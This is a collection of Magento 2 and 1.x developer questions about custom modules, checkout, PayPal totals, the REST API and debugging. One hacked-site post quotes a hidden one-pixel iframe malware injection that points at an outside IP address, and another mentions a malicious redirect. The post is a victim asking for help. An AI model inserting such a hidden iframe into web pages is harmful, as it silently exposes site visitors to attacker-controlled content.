texts: Magento 2 Disabling Custom Module In default store view

texts:
I have a custom module which i want to use in my second website only and not in deafult website to achieve this i had created system.xml file but it seems like not working and the module changes are still visible in default website also
System.xml
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Config:etc/system_file.xsd">
    <system>
        <tab id="vendormodule" translate="label" sortOrder="10">
            RFQ
        </tab>

            <class>separator-top</class>
            Request For Quote
            <tab>vendormodule</tab>
            <resource>Vendor_Module::requestforquote_config</resource>
            <group id="general" translate="label" type="text" sortOrder="10" showInDefault="1" showInWebsite="1" showInStore="1">
                General Configuration
                <field id="enable" translate="label" type="select" sortOrder="1" showInDefault="1" showInWebsite="1" showInStore="1">
                    Module Enable
                    <source_model>Magento\Config\Model\Config\Source\Yesno</source_model>
                </field>
            </group>

    </system>
</config>


texts: How to conditional show content by customer group

texts:
I have a function to get the customer group ID and in my phtml file if it equals the customer group id I show content. The issue is that when I test it in a production environment the content doesn't seem to show but on a development environment it does. I thought pages were built by Customer Group

app/code/{vendor}/{module}/Block/{file}.php

public function __construct(
    ...
    \Magento\Customer\Model\Session $customerSession
    ...
) {
   ...
    $this->_customerSession = $customerSession;
   ...
}

public function getGroupId()
{
    if($this->_customerSession->isLoggedIn()){
        return $this->_customerSession->getCustomer()->getGroupId();
    }

    return '';
}

app/design/frontend/{Vendor}/{Theme}/{module}/{template}/{file}.phtml

     <?php if($block->getGroupId() == 1): ?>
        <p> content messaging </p>
    <?php endif; ?>


texts: Magento CE 1.9 collecting the LowStockDate value

texts:
I've made a quick script to collect out of stock products that are:

a) qty greater than 0
b) have been out of stock for 2 weeks.

This will then set the is_instock_value for products that match those conditions.

$time = time(); // get current time
$to = date('Y-m-d H:i:s', $time);
$lastTime = $time - 1209600; // 14 days ago
$from = date('Y-m-d H:i:s', $lastTime);

$products = Mage::getModel('catalog/product')->getCollection()
    //->addAttributeToSelect('*')
    ->addAttributeToSelect('sku')
    ->addAttributeToSelect('name');

foreach ($products as $_product) {

    $stock = Mage::getModel('cataloginventory/stock_item')->loadByProduct($_product);
    $lowstockdate = Mage::getModel('cataloginventory/stock_item')->loadByProduct($_product->getLowStockDate());

        if ($stock->getQty() > 0 && $lowstockdate > $from){
            echo $_product->getSku()." = ";
            echo $stock->getQty()." = ";
            echo $_product->getName()." = ";
            echo $_product->getLowStockDate()."<br>";
            $stock->setData('is_in_stock', 1);
            $stock->save();
        }
}

The problem is i cant the getLowStockDate() to work. For some reason its not returning anything.


texts: Magento 2: What does the special variable @arguments do in a LESS mixin


texts: Magento 2 Simplest way to create a theme based on Blank with custom frontpage and nav

texts:
I am not very experienced in Magento 2 and I need to put together a demo which contain's a homepage custom structure and css too.

Basically I'm going to use the Blank theme but I need to change the Homepage where the Nav, page content and colors will be changed and the Nav will be moved in position. So I need to change Colors and Structure or the homepage.

What is the fastest's, simplest way to do this on Magento 2, even if it's a dirty way to do it (as it's only for a demo) ?


texts:
I've created custom module and it' created, the problem is when I'm trying to inject or get instance by object manager of the collection factory, I get this error

  Can't create directory
  /var/www/html/var/generation/Vendor/Module/Model/ResourceModel/modelName/

I've given access permission to var/generation by this command chmod -R 777 var/generation but same error appears


texts: Magento How to check from where my custom block called

texts: I want to know from where my custom block called dynamically when e-store run, suppose developer added custom block at footer than i want to know that he added this block at footer. suppose he added same block in header than i want to know that he added it in header. so how can i know about this in magento


texts:
my website was hacked and know it contains an <iframe> malware according with Google Webmaster Tools. It appears to be in a page that doesn't exist, example: domain.com/?page_id=4712

And this is the script malware:

<iframe src="http://77.221.145.25/admincpxc/?954Y"width="1" height="1" frameborder="0">


texts: Install Magento 1.9 and security patches or install Magento 2?

texts:
I was about to install Magento 1.9 but realised Magento 2 is now available. If I stick to installing Magento 1.x will patches still be available or will everyone be forced to move to Magento 2?

I haven't used Magento before but over the months got familiar with Magento 1.x interface and theme.


texts: I want to know what value is fetched by the variable in knockout js

texts:
Is their anyway to debug the knockout js code by putting alert to popup the

message or as console log s anyway can  know Please


texts: How to make custom html form in Admin in Magento 2?

texts:
I want create custom html form in Magento 2 - Admin Panel
Where from block i can save all form data in new database table.

  Drop-down 1, Drop-down 2, Price text-box 1, Price text-box 2, Price
  text-box 3 in 1 row
  and there are 6 rows like this.
  Ignore Captcha Code

How can i make custom form like this in Magento 2- Admin ?


texts:
How can i override vendor/magento/module-offline-shipping/Model/Carrier/Flatrate.php file as i need to add

 if($request->getSubtotalIncludingTax() > 25){
         return false;
    }

code so that if my cart value is > 25 then hide flatrate shipping method

Inside function collectRates(RateRequest $request)


texts: How can I extend adminhtml JavaScript methods with custom logic?

texts:
I have extended several JavaScript methods of the Product.Config class on the frontend website to apply some custom business logic, but I need to share the same customizations with the sales order create page in adminhtml.

On the frontend I created a customized version of the  catalog/product/view/type/options/configurable.phtml template in my theme, which injects some custom data for configurable products.

I also needed to extend the Product.Config class to make use of the data. I used the wrap method, which allows me to call the parent method and avoid duplicating the whole method (or worse, the entire file) but also inject some new logic as well.

Product.Config.prototype.getOptionLabel = Product.Config.prototype.getOptionLabel.wrap(function(parentMethod, option, price){
    var str = parentMethod(option, price);

    // Custom logic

    return str;
});

I then added it to the catalog/product/view page like this:

<catalog_product_view>
    <reference name="head">
        <action method="addJs">
            <script>custom/configurable.js</script>
        </action>
    </reference>
<catalog_product_view>

Obviously, I don’t want to have this logic duplicated in two places, so how do I leverage my existing logic on the adminhtml side?


texts: What does the "initUnique" Method setup in uiElement Objects?

texts:
In Magento 2's uiElement objects, one of the initialization methods is named initUnique

initialize: function () {
    this._super()
        .initObservable()
        .initModules()
        .initStatefull()
        .initLinks()
        .initUnique();

    return this;
},

The init functions usually setup some feature or magic in the uiElement objects.  For example, the initLinks method sets up the imports/exports default.

However, after examining the source of initUnique

initUnique: function () {
    var update = this.onUniqueUpdate.bind(this),
        uniqueNs = this.uniqueNs;

    this.hasUnique = this.uniqueProp && uniqueNs;

    if (this.hasUnique) {
        this.source.on(uniqueNs, update, this.name);
    }

    return this;
},

The onUniqueUpdate callback it sets up in the source property it binds and sets up if certain object properties are populated.

onUniqueUpdate: function (name) {
    var active = name === this.name,
        property = this.uniqueProp;

    this[property](active);
}

and the related setUnique method

#File: vendor/magento/module-ui/view/base/web/js/lib/core/element/element.js
setUnique: function () {
    var property = this.uniqueProp;

    if (this[property]()) {
        this.source.set(this.uniqueNs, this.name);
    }

    return this;
},

It's still not clear what this "unique" object feature does, or how a uiElement object needs to be configured for the "unique" feature to take effect.

It seems related to the source property, which is populated during the call to initModules

initModules: function () {
    var modules = this.modules || {};

    _.each(modules, function (name, property) {
        this[property] = this.requestModule(name);
    }, this);

    if (!_.isFunction(this.source)) {
        this.source = registry.get(this.provider);
    }

    return this;
},

but there's too many loose threads to know what, if anything, is being kept or made unique, or if "unique" is a red herring and this feature actually does something else.

I'm hoping someone else here knows and can shed some light on the matter with a plain english explanation of what this feature does in the UI Component system.


texts:
i have this requirement of applying two kind of shipping method. I have obtained the required shipping rates calculation via flat rate and table rate, now i have to let users choose two of the shipping methods. in the picture below those two are the group, from where one from each group needs to be applied.

I have calculated it as according to the requirements, but i have no idea on how to make it possible to apply one from each of the group ? The functionality is two(each one from the group) of the shipping methods needs to be applied with those prices; any suggestions are welcome.


texts: How to get summary count with cache enable on all pages footer?

texts:
I am unable to get summary count with php code when cache is enable.

I used below code.

<?php
$helper = $this->helper('\Magento\Checkout\Helper\Cart');
echo $helper->getSummaryCount();
?>


texts:
I used magento2.3 - when i go to checkout page this error comes below.please if anyone know regarding this reply me

Error occurred during "shipping_address" processing. Error occurred during "customAttributes" processing. A custom attribute is specified with a missing attribute code. Verify the code and try again.


texts:
I'm facing an issue where I'm adding a custom fee to totals and updating paypal with the following plugin:

class UpdateCustomFeeForOrderPayPal
{
    protected $_checkoutSession;
    const AMOUNT_SUBTOTAL = 'subtotal';
    public function __construct(
        \Magento\Checkout\Model\Session $checkoutSession
    ) {
        $this->_checkoutSession = $checkoutSession;
    }

    public function afterGetAmounts($cart,$result)
    {
        $quote = $this->_checkoutSession->getQuote();
        $paymentMethod = $quote->getPayment()->getMethod();
        $paypalMehodList = ['payflowpro','payflow_link','payflow_advanced','braintree_paypal','paypal_express_bml','payflow_express_bml','payflow_express','paypal_express'];

        // to check the paypal payment method
        if(in_array($paymentMethod,$paypalMehodList)){
            $result[self::AMOUNT_SUBTOTAL] = $result[self::AMOUNT_SUBTOTAL] + $quote->getFee();

        }

        return $result;
    }

    public function beforeGetAllItems($cart)
    {
        $quote      = $this->_checkoutSession->getQuote();

        $feePrice = $quote->getFee();

        if ($feePrice > 0) {
            $cart->addCustomItem(__("Extra Fee"), 1, $feePrice);
        }
    }
}

This unfortunately doesn't play well with PayPal, I'm getting the following response:

main.DEBUG: array (
  'url' => 'https://api-3t.sandbox.paypal.com/nvp',
  'SetExpressCheckout' =>
  array (
    'PAYMENTACTION' => 'Sale',
    'AMT' => '108.85',
    'CURRENCYCODE' => 'USD',
    'RETURNURL' => 'http://test.com/us/paypal/express/return/',
    'CANCELURL' => 'http://test.com/us/paypal/express/cancel/',
    'INVNUM' => 'US-00050186',
    'SOLUTIONTYPE' => 'Mark',
    'GIROPAYCANCELURL' => 'http://test.com/us/paypal/express/cancel/',
    'GIROPAYSUCCESSURL' => 'http://test.com/us/checkout/onepage/success/',
    'BANKTXNPENDINGURL' => 'http://test.com/us/checkout/onepage/success/',
    'SHIPPINGAMT' => '9.99',
    'ITEMAMT' => '85.43',
    'TAXAMT' => '7.99',
    'L_NUMBER0' => NULL,
    'L_NAME0' => 'ExtraFee',
    'L_QTY0' => 1,
    'L_AMT0' => '5.44',
    'BUSINESS' => NULL,
    'NOTETEXT' => NULL,
    'EMAIL' => 'test@gmail.com',
    'FIRSTNAME' => 'test',
    'LASTNAME' => 'test',
    'MIDDLENAME' => NULL,
    'SALUTATION' => NULL,
    'SUFFIX' => NULL,
    'COUNTRYCODE' => 'US',
    'STATE' => 'NY',
    'CITY' => 'New York',
    'STREET' => 'New York',
    'ZIP' => '10013',
    'PHONENUM' => '17623838372',
    'SHIPTOCOUNTRYCODE' => 'US',
    'SHIPTOSTATE' => 'NY',
    'SHIPTOCITY' => 'New York',
    'SHIPTOSTREET' => 'New York',
    'SHIPTOZIP' => '10013',
    'SHIPTOPHONENUM' => '17623838372',
    'SHIPTOSTREET2' => '',
    'STREET2' => '',
    'SHIPTONAME' => 'test test',
    'ADDROVERRIDE' => 1,
    'METHOD' => 'SetExpressCheckout',
    'VERSION' => '72.0',
    'USER' => '****',
    'PWD' => '****',
    'SIGNATURE' => '****',
    'BUTTONSOURCE' => 'Magento_Cart_Community',
  ),
  'response' =>
  array (
    'TIMESTAMP' => '2019-02-08T15:31:17Z',
    'CORRELATIONID' => 'de43685675249',
    'ACK' => 'Failure',
    'VERSION' => '72.0',
    'BUILD' => '51752370',
    'L_ERRORCODE0' => '10413',
    'L_SHORTMESSAGE0' => 'Transaction refused because of an invalid argument. See additional error messages for details.',
    'L_LONGMESSAGE0' => 'The totals of the cart item amounts do not match order amounts.',
    'L_SEVERITYCODE0' => 'Error',
  ),
) [] []

But the totals of the cart do match:
9.99 + 85.43 + 7.99 + 5.44 = 108.85

I don't understand what is the issue. Does anyone have an idea what's going on?


texts:
I'm trying to add an entry to a custom table with a data-install script but it isn't setting the data when I call ->save() method it just add an empty value in the field.

I have updated the config.xml file and the script is running but not adding the entries.

Here is what I have tried:

$values = array(
        'id' => 1,
        'customer_id' => rand(),
        'prima_id' => rand(),
        'guest' => 0,
        'email' => 'Youghtley1987@armyspy.com',
);
$data = Mage::getModel('modulename/tablename');
foreach($values as $key => $value) {

   $data->setData($value)->save();

}

For some reason the $value is not being set and saved and I can't see why?


texts: I want to some attributes in response of /V1/products/:sku api.How can be get specific data in this api?

texts:
When I call /V1/products/:sku,It give response like:

    {
        "id": 12,
        "sku": "SL-LS",
        "name": "Long Sleeve",
        "attribute_set_id": 4,
        "price": 0,
        "status": 1,
        "visibility": 4,
        "type_id": "simple",
        "created_at": "2018-03-20 20:04:54",
        "updated_at": "2018-04-26 02:45:29",
        "weight": 33,
        "extension_attributes": [],
        "product_links": [],
        "tier_prices": [],
        "custom_attributes": [
            {
                "attribute_code": "description",
                "value": "
A Long wide sleeve that usually hangs loose from the shoulder. A long sleeve with a deep armhole, tapering towards the wrist. Also known as a \"magyar\" sleeve. A long sleeve fitted from the shoulder to elbow and gently flared from elbow onward.
"
            },
            {
                "attribute_code": "short_description",
                "value": "
A&nbsp;Long&nbsp; wide sleeve that usually hangs loose from the shoulder. A long sleeve with a deep armhole, tapering towards the wrist.
"
            },
            {
                "attribute_code": "meta_title",
                "value": "Long Sleeve"
            },
            {
                "attribute_code": "meta_keyword",
                "value": "Long Sleeve"
            },
            {
                "attribute_code": "meta_description",
                "value": "Long Sleeve A Long wide sleeve that usually hangs loose from the shoulder. A long sleeve with a deep armhole, tapering towards the wrist. Also known as a \"magyar\" sleeve. A long sleeve fitted from the shoulder to elbow and gently flared from elbow onward."
            },
            {
                "attribute_code": "image",
                "value": "no_selection"
            },
            {
                "attribute_code": "small_image",
                "value": "/f/o/fox-ministry-all-iconslong-sleeve.png"
            },
            {
                "attribute_code": "thumbnail",
                "value": "/f/o/fox-ministry-all-iconslong-sleeve.png"
            },
            {
                "attribute_code": "options_container",
                "value": "container2"
            },
            {
                "attribute_code": "required_options",
                "value": "0"
            },
            {
                "attribute_code": "has_options",
                "value": "0"
            },
            {
                "attribute_code": "url_key",
                "value": "long-sleeve"
            },
            {
                "attribute_code": "swatch_image",
                "value": "/f/u/full-sleeve_1.jpg"
            },
            {
                "attribute_code": "tax_class_id",
                "value": "2"
            },
            {
                "attribute_code": "gift_message_available",
                "value": "2"
            }
        ]
    }

I don't want some attributes like type_id,created_at,updated_at,weight,product_links,tier_price,meta_title,meta_keywords etc.How to get filter this attribute in api response?


texts: Magento 2.3.0 How to add store filter in searchCriteriaBuilder

texts:
In my custom module, I am trying to add store filter in orderRepository using searchCriteriaBuilder but it is throwing an error like below.

  1 exception(s):
  Exception #0 (Exception): Warning: PDO::quote() expects parameter 1 to be string, object given in /var/www/html/CE/2.3.0/vendor/magento/zendframework1/library/Zend/Db/Adapter/Pdo/Abstract.php on line 296

Below is my code :

$searchCriteria = $this->searchCriteriaBuilder
    ->addFilter(
        'status', $orderStatus, 'eq'
    )->addFilter(
    'created_at', $date->format('Y-m-d 00:00:00'), 'gteq'
    )->addFilter(
        'created_at', $date->format('Y-m-d 23:59:59'), 'lteq'
    )->addFilter('store_id', $this->followUpEmailHelper->getStore(), 'eq')->create();

    $orderCollection = $this->orderRepository->getList($searchCriteria);

    print_r($orderCollection->getSelect()->__toString());die;

What is wrong in the above code and how to apply store filter in the collection using searchCriteriaBuilder

Update :

Marius answer is correct for my current issue is resolved but I want to how to get scope store id. because when i pass store id to this filter then it is always returned store 2.

Any help would be appreciated! Thanks!


texts: How can I have the `getAllVisibleItems()` return the chosen attributes and attribute values of the configurable products it returns in cart?

texts:
I'm trying to list all the products in the cart, and list the chosen color/size, etc.. that they have. On the main website, Magento seems to do that. However, when I try to do it programmatically, I get the custom attributes as null.

This is my current code:

    $quote->getAllVisibleItems();

    foreach ($allCartItems as $item) {

        $productInfo = array();
        $product = $item->getProduct();
        $productInfo["size"] = $product->getSize();
        ...
    }

If I use getAllItems() instead of getAllVisibleItems(), then I will end up with simple/configurable products, which will cause an issue as to which item id the app has to use when updating the product (as well as listing duplicate items).

The only solution I found online was to load the product again using $product = $model->load($model->getIdBySku($sku)); for every product listed, but that seems to be like it will quite the performance hog!

How can I have the getAllVisibleItems() return the chosen attributes and attribute values of the configurable products it returns?

[
    {
    name: "Tori Tank",
    price: "60.0000",
    id: "418",
    product_id: "418",
    item_id: "2481",
    sku: "wbk004",
    color: null,
    size: null,
    quantity: 1
    },
    {
    name: "Chelsea Tee",
    price: "75.0000",
    id: "410",
    product_id: "410",
    item_id: "2483",
    sku: "mtk005",
    color: null,
    size: null,
    quantity: 1
    }
]

As you can see, the color/size are being returned as null.


texts:
Hi I would like to know how to change the size of a product in an RMA request please?
Thank you


texts:
How I can create my own custom log file in magento2 ?

For example, I have some variable which wants to log in a custom file. I found a solution for only existing log file like system.log, debug.log but I want new custom log file to log my variable.


texts: Magento 2 I want to display login form in shopping cart page

texts:
how I can add Login form in the shopping cart page?

Thank you in advance.


texts: Ves Image Slider require.js issue in Magento 2.3

texts: After installing Ves Image Slider on my magento 2.3 project, my backend WYSIWYG stops running on block edit page . and gives error of require.js like given below. When i disable the module, it works fine.


texts: Category specific internal links from product page to layered navigation pages

texts:
I am looking for a solution something like what this product page has under the additional info section where the product attributes are linked to category specific layered navigation URLs. How can I achieve this? I really don't find any cross link extension for magento 2 in the market offering this functionality.

For example Color: Green takes you to https://www.utsavfashion.in/salwar/green

https://www.utsavfashion.in/product/embroidered-net-pakistani-suit-in-light-olive-green-kch2160

For example Color: Green takes you to https://www.utsavfashion.in/lehenga/green

https://www.utsavfashion.in/product/embroidered-net-lehenga-in-dusty-green-lcc312


texts: How to make wishlist items persistent even after adding to cart

texts:
I want items in my wishlist to remain there even if I add it to cart. I am completely new to magento and as far I have understood it is doint it using observer. I have tried doing it by removing following code from config.xml

<checkout_cart_add_product_complete>
    <observers>
        <wishlist>
            <class>wishlist/observer</class>
            <method>processAddToCart</method>
        </wishlist>
    </observers>
</checkout_cart_add_product_complete>

But still it gets removed from wishlist. Where is that part implemented in magento?


texts:
Each time I place an order in my Magento 2.3.3 installation all category pages are purged. I found these messages in the debug.log but I can't find what is causing this. Or could this be the default Magento behaviour? Or how can I find what exactly is causing this?

[2019-11-23 21:34:51] main.DEBUG: cache_invalidate:  {"method":"POST","url":"https://website.com/rest/nl/V1/guest-carts/sUS70mJtnIrg0653PcKjxHyhPPY9lzyo/payment-information","invalidateInfo":{"tags":["cat_p","FPC"],"mode":"matchingTag"}} []
[2019-11-23 21:34:51] main.DEBUG: cache_invalidate:  {"method":"POST","url":"https://website.com/rest/nl/V1/guest-carts/sUS70mJtnIrg0653PcKjxHyhPPY9lzyo/payment-information","invalidateInfo":{"servers":["[object] (Zend\\Uri\\Uri: http://127.0.0.1:32780/)"],"formattedTagsChunk":"cat_p"}} []

EDIT: I found out it depends on the product you order. But I have not found out yet why some products purge the category pages.


texts: knockout.js:1686 Uncaught TypeError: Cannot read property 'apply' of undefined

texts:
I have created a custom attribute(multiselect) for product with the same filter type as category selection on Magento 2. Attribute selection is working fine when creating a new product however it is not working on edit form. I have noticed below error from knockout js on console.
knockout.js:1449 Uncaught TypeError: Cannot read property 'apply' of undefined at Function.ko.observableArray.fn.(anonymous function) [as push]
i modified the component by adding the following code
'arguments' => [
                'data' => [
                    'config'=>[
                        'component'=>'Magento_Ui/js/form/element/ui-select',
                        'elementTmpl' => 'ui/grid/filters/elements/ui-select',
                        'filterOptions' => true,
                        'multiple' => true,
                        'disableLabel' => true,
                        "showCheckbox" => true,
                    ]
                ]
            ]

Also I have attached the screenshots of the error I am facing.

A help to fix this issue would be much appreciated.


texts: How to diagnose “Invalid block type ” error?

texts:
How to diagnose “Invalid block type ”

Not sure how to figure out this error, I've been googling for a week and I can't
seem to find a solution. Any ideas?

    exception 'Mage_Core_Exception' with message 'סוג בלוק מידע לא תקני: Mage_Page_Block_Html_CookieNotice' in /var/www/magento/app/Mage.php:594
        Stack trace:
        #0 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(495): Mage::throwException('?????? ????????...')
        #1 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(437): Mage_Core_Model_Layout->_getBlockInstance('page/html_cooki...', Array)
        #2 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(472): Mage_Core_Model_Layout->createBlock('page/html_cooki...', 'global_cookie_n...')
        #3 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(239): Mage_Core_Model_Layout->addBlock('page/html_cooki...', 'global_cookie_n...')
        #4 /var/www/magento/app/code/local/Smartwave/All/Model/Core/Layout.php(40): Mage_Core_Model_Layout->_generateBlock(Object(Mage_Core_Model_Layout_Element), Object(Mage_Core_Model_Layout_Element))
        #5 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(205): Smartwave_All_Model_Core_Layout->_generateBlock(Object(Mage_Core_Model_Layout_Element), Object(Mage_Core_Model_Layout_Element))
        #6 /var/www/magento/app/code/local/Smartwave/All/Model/Core/Layout.php(31): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #7 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(206): Smartwave_All_Model_Core_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #8 /var/www/magento/app/code/local/Smartwave/All/Model/Core/Layout.php(31): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #9 /var/www/magento/app/code/core/Mage/Core/Model/Layout.php(206): Smartwave_All_Model_Core_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #10 /var/www/magento/app/code/local/Smartwave/All/Model/Core/Layout.php(31): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element))
        #11 /var/www/magento/app/code/core/Mage/Core/Controller/Varien/Action.php(344): Smartwave_All_Model_Core_Layout->generateBlocks()
        #12 /var/www/magento/app/code/core/Mage/Core/Controller/Varien/Action.php(269): Mage_Core_Controller_Varien_Action->generateLayoutBlocks()
        #13 /var/www/magento/app/code/core/Mage/Cms/controllers/IndexController.php(90): Mage_Core_Controller_Varien_Action->loadLayout()
        #14 /var/www/magento/app/code/core/Mage/Core/Controller/Varien/Action.php(419): Mage_Cms_IndexController->defaultNoRouteAction()
        #15 /var/www/magento/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('defaultNoRoute')
        #16 /var/www/magento/app/code/core/Mage/Core/Controller/Varien/Front.php(201): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
        #17 /var/www/magento/app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch()
        #18 /var/www/magento/app/Mage.php(683): Mage_Core_Model_App->run(Array)
        #19 /var/www/magento/index.php(89): Mage::run('', 'store')
        #20 {main}`enter code here`


texts: What are the best dimensions for homepage banners for desktop and mobile?

texts:
Got some formatting issues with banners not viewing properly in mobile in landscape rotation. Height is ok but the width is wrong.
Any advice on sizing images for banners and best dimensions?


texts: Magento 2 : admin file field max upload size

texts:
I'm trying to restrict the weight of the uploaded file in admin, I found the 'maxFileSize' in Magento documentation but it's not working :

$fieldset->addField(
  'files',
  'file',
  [
    'name' => 'file',
    'label' => __('File'),
    'title' => __('File'),
    'maxFileSize' => 2097152,
    'required' => false,
    'note' => 'File size must be less than 2 Mb.'
  ]
);

Thanks !


texts: Within the reporting section I can see that there is a report for products which are low in stock but is there functionality to have a daily email of this report?


texts: find the root to not handling new lines \n \n\n in addresses

texts:
I have been searching for a bit on why I'm getting \n in addresses.  I have been searching in the templates, adding lines like

<?php echo str_replace('\\n',' ', $this->getAddressHtml(Mage::getSingleton('customer/session')->getCustomer()->getAddressById($_pAddsses))) ?>

but that is just a banded as it's coming out in the emails too.  I can't seem to find the root to the issue on this.  This is what I see everywhere

Here are some details

In the export of the customers the address items don't have the extra \n in from of the address parts
It shows up in all output that is html based
So far all functions that return the address model outputs with \n when formatted in html
shortcodes like {{var order.getBillingAddress().format('html')}} also have the error

Any ideas on how to root this issue out?


texts:
Recently we had an issue with our magento site. When we try to access the site using URL or using the IP it was redirecting an IP called testp1.piwo.pila.pl

The admin panel was also inaccessible. Anyone faced this issue before?


texts: How to run static tests for a single/specific module?

texts:
I am looking for a way to run static tests for a single module as my application is huge. So running static tests frequently and checking code consumes a lot of time.

As per my knowledge, Magento currently provides only unit tests on module level.

Let me know if there is any way to achieve this.


texts: How to remove products url for specific Category URL-REWRITE

texts: I want to remove url of prodcuts for a specific category. How can i remove specific category URL-REWRITE? using Query pro-grammatically


texts: CE 1.9.2.2 - log.php script is not cleaning log tables

texts:
1) go to magento root then in shell/ directory

2) execute "php -f log.php status"
(in my case Data size is 150 MB)

3) execute "php -f log.php clean"

4) execute again "php -f log.php status" for checking the cleaning action.
(it should show a decreased size from 150 MB, but it doesn't.

Well I truncated manually all the tables inside the databases and checking again the status it is decreased to 164 kb. This is a bug, this file is not cleaning the log tables. By the way I already reported in Bug List.

Thank you.


texts:
How to solve this error Unknown entity type:

  Magento\Bundle\Model\Selection\Interceptor requested

when I tried to add Bundle products options.


texts: How to fire ajax on address change on Magento2 checkout page

texts: I have a custom module. In this I want to fire api via jquery ajax when address is changed. How to implement this?


texts: how to create sql installer in custom module in magento

texts:
i need to create sql installer in magento.....i created a module and i created table by sql query directly to sql editor...

but for global module i need to create sql installer...in magento sql...
i m giving my config detail....and also i want to know that what changes in necessary for executing sql script in magento ...also i want to know that what should in sql script.

my config..

<?xml version="1.0" encoding="UTF-8" ?>
<config>

    <modules>
        <Webcreon_Seller>
            <version>0.0.1</version>
        </Webcreon_Seller>
    </modules>

    <frontend>
        <routers>
            <seller>
                <use>standard</use>
                <args>
                    <module>Webcreon_Seller</module>
                    <frontName>seller</frontName>
                </args>
            </seller>
        </routers>
     <layout>
            <updates>
                <seller>
                      <file>sellerform.xml</file>
                </seller>
            </updates>
       </layout>
    </frontend>
    <admin>
     <routers>
         <seller>
            <use>admin</use>
            <args>
               <module>Webcreon_Seller</module>
               <frontName>adminseller</frontName>
            </args>
         </seller>
      </routers>
 </admin>
 <adminhtml>
   <layout>
      <updates>
          <seller>
              <file>sellerform.xml</file>
           </seller>
      </updates>
   </layout>
   <menu>
      <customer translate="title" module="adminhtml">

         <sort_order>10</sort_order>
         <children>
             <set_time>
                   <title>Seller List</title>
                   <action>adminseller/adminhtml_index</action>
              </set_time>
          </children>
       </customer>
    </menu>
</adminhtml>

    <global>
        <blocks>
            <seller>
                <class>Webcreon_Seller_Block</class>
            </seller>
         </blocks>
         <helpers>
            <seller>
                <class>Webcreon_Seller_Helper</class>
            </seller>
        </helpers>
              <models>
          <seller>
                <class>Webcreon_Seller_Model</class>
                 <resourceModel>seller_mysql4</resourceModel>
            </seller>
            <seller_mysql4>
             <class>Webcreon_Seller_Model_Mysql4</class>
             <entities>
                 <seller>

db_vendor

                 </seller>
              </entities>
          </seller_mysql4>
        </models>
        <resources>

        <seller_write>
            <connection>
                <use>core_write</use>
            </connection>
        </seller_write>

       <seller_read>
          <connection>
             <use>core_read</use>
          </connection>
       </seller_read>
</resources>
    </global>

</config>


texts: Magento CE 1.9.1 - Multiple Swatches Problem

texts:
I've a configurable product with two attributes: Primary Color and Secondary Color.

The options names are the same in both attributes.

Supposing that I have a product with following options:

PRIMARY COLOR | SECONDARY COLOR
RED           | YELLOW
BLUE          | YELLOW
BLACK         | YELLOW
YELLOW        | YELLOW

Every product have it own photo.

If I click at "RED", my image is updated to the Red Product with Yellow.
If I click at "BLUE", my image is updated to the Blue Product with Yellow.
If I click at "Black", my image is updated to the Black Product with Yellow.

But, if I click at YELLOW (Both at primary and secondary color), my image is not updated, and an error occurres at prototype.js:828:

Uncaught TypeError: undefined is not a function

In other tests, I realized that the problem is when I have same option name in more then one attribute. If I change it names, the problem stops.

Is there any solution for this? Or I will really need to have "Primary Yellow" and "Secondary Yellow" names?!


texts: how to display language switch in magento 2 header

texts: I want to display language switch in magento 2 header. Can any one help me?


texts: How to include items in credit memo transactional email

texts:
It seems that the product level items aren't available in the Magento credit memo transactional email, nor is a balance displayed - it gets you to login via My Account to view it.

Is there a reason behind this? What would be required to achieve this - would the information be available at a transactional email template or, would I need to extend Magento?


texts:
I need to get image directory means full path.
I get the image path from the following code

$product = $this->productmodel->load($orderItem->getProductId());
$product->getThumbnail();

I got url

/w/b/wb02-green-0.jpg

I need

   /var/www/html/magento/pub/media/catalog/product/w/b/wb02-green-0.jpg

How do i get that
i did following code

$path = $this->directorylist->getPath("media");

it returns

/var/www/html/magento/pub/media

but i need

/var/www/html/magento/pub/media/catalog/product/w/b/wb02-green-0.jpg


texts:
1 exception(s): Exception #0
  (Magento\Framework\Exception\LocalizedException): Please upgrade your
  database: Run "bin/magento setup:upgrade" from the Magento root
  directory. The following modules are outdated: Amazon_Core schema:
  current version - 2.1.3, required version - 2.2.14 Amazon_Core data:
  current version - 2.1.3, required version - 2.2.14 Amazon_Login
  schema: current version - 2.1.3, required version - 2.2.14
  Amazon_Login data: current version - 2.1.3, required version - 2.2.14
  Amazon_Payment schema: current version - 2.1.3, required version -
  2.2.14 Amazon_Payment data: current version - 2.1.3, required version - 2.2.14 Magento_CatalogWidget schema: current version - 2.0.0, required version - 2.0.1 Magento_CatalogWidget data: current version -
  2.0.0, required version - 2.0.1 Dotdigitalgroup_Email schema: current version - 2.7.1, required version - 2.7.2 Dotdigitalgroup_Email data:
  current version - 2.7.1, required version - 2.7.2


texts:
I am able to split the order (into two orders) based on the Stock Status but the problem i am facing is when i am trying to set shipping method to the order.

Actually i want to set different Shipping Method to both the order.
e.g. first Order i want to set Shipping as free shipping and 2nd as Flat rate.

Below is the code used to set the shipping method for 2nd order but i am getting The shipping method is missing. Select the shipping method and try again.

$quote->getShippingAddress()->setShippingAmount($total)
            ->setShippingMethod('flaterate_flaterate');

Also Tried Below Code Same Issue. The shipping method is missing. Select the shipping method and try again.

use Magento\Quote\Model\Quote\Address\Rate

        $this->shippingRate
            ->setCode('flaterate_flaterate')
            ->setCarrierTitle($carrierTitle)
            ->setPrice($total);

        $shippingAddress = $quote->getShippingAddress();

        $shippingAddress->setCollectShippingRates(true)
                        ->collectShippingRates()
                        ->setShippingMethod('flaterate_flaterate');

